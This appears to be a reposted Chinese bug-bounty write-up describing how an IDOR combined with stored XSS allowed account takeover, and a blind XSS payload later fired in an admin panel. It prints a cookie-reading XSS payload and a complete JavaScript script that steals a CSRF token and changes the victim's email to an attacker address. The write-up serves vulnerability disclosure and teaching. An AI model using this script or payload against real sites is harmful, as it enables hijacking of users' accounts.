记我的一次账号劫持和BLIND XSS漏洞发现过程

Posted FreeBuf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记我的一次账号劫持和BLIND XSS漏洞发现过程相关的知识,希望对你有一定的参考价值。

大家好,本文我要分享的是我参与Hackerone某邀请项目,通过目标测试网站的高级功能模块(PRO features)实现了更多攻击面测试,并发现了两个严重漏洞,获得了$7000美金的不菲奖励。

第一个漏洞-账号劫持

我发现的第一个漏洞就是不安全对象引用漏洞(IDOR),利用该漏洞我能在每个账户中创建一个 element x元素,经过和朋友的交流,他建议我可以试试在其中注入一些 javascript 脚本,于是我就在某文本区域的 element x 中插入了以下Payload脚本,实现了用XSS方式对账户cookie的读取。

‘%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E

IDOR:不安全的直接对象引用允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。导致这种情况出现的原因是,系统在接受用户输入并利用输入信息获取对象之前没有对用户身份权限进行检测。

现在,有了这种IDOR漏洞下的存储型XSS利用路径,而且目标测试网站又没有设置CSP的白名单机制,因此我可以构造一段小脚本,让这段脚本来窃取受害用户的CSRF令牌认证信息(CSRF token),这样可以修改其emailID或以管理员身份把对方添加为好友,间接实现对受害者的账户劫持。

与IDOR漏洞利用相同, javascript 脚本可以在所有账户中实现远程存储,然后通过构造运行,实现对所有目标网站注册账户的劫持,这就是XSS和IDOR漏洞的结合威力。我最终的 javascript Payload利用脚本如下:

function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();
var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);
}
}
fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();
}
stealEmailToken();
function hack(emailToken)
{
var HackAccount = new XMLHttpRequest();
url= "https://--domain--/--path--/personal/update_email.html";
HackAccount .open("POST",url, true);
HackAccount .withCredentials=true;
var
 data= 
'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken
 ;
HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');
HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);
}

这个脚本中,我能从…personal/update_email.html的账户页面中读取 input 元素的 csrf token ,然后利用 hack() 函数来把这个窃取来的 csrf token发送一个更改用户email ID的POST请求,最终实现账户劫持。上报这个漏洞之后,厂商团队马上就进行了修复,之后,我也获得了奖励的$3500赏金。

第二个漏洞 - BLIND XSS

因此,在pdf电子发票的生成过程中,我可以尝试着在其中注入一些html元素来看看是否能间接执行脚本,但是,这种方式是行不通的。

之后,我就在其中插入了一个利用 XSSHunter 生成的 BLIND XSS Payload,一切就静等上钩吧。几天之后,我无意间浏览了我的XSSHunter账户,出乎意料地发现,那段插入的BLIND XSS Payload竟然在目标测试网站的控制面板管理区域被成功触发了!

上报了这个漏洞之后,我又获得了厂商团队 $3500 美金的奖励。

*参考来源:witcoat,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM

以上是关于记我的一次账号劫持和BLIND XSS漏洞发现过程的主要内容,如果未能解决你的问题,请参考以下文章

Blind XSS 发现指南

一种结合了点击劫持Self-XSS复制粘贴劫持的新型XSS攻击

白帽子挖漏洞日记之指定型XSS

挖洞经验 | 记一次有关参数指定型XSS的故事

xss攻击的危害都有哪些?

转记我的一次外包经历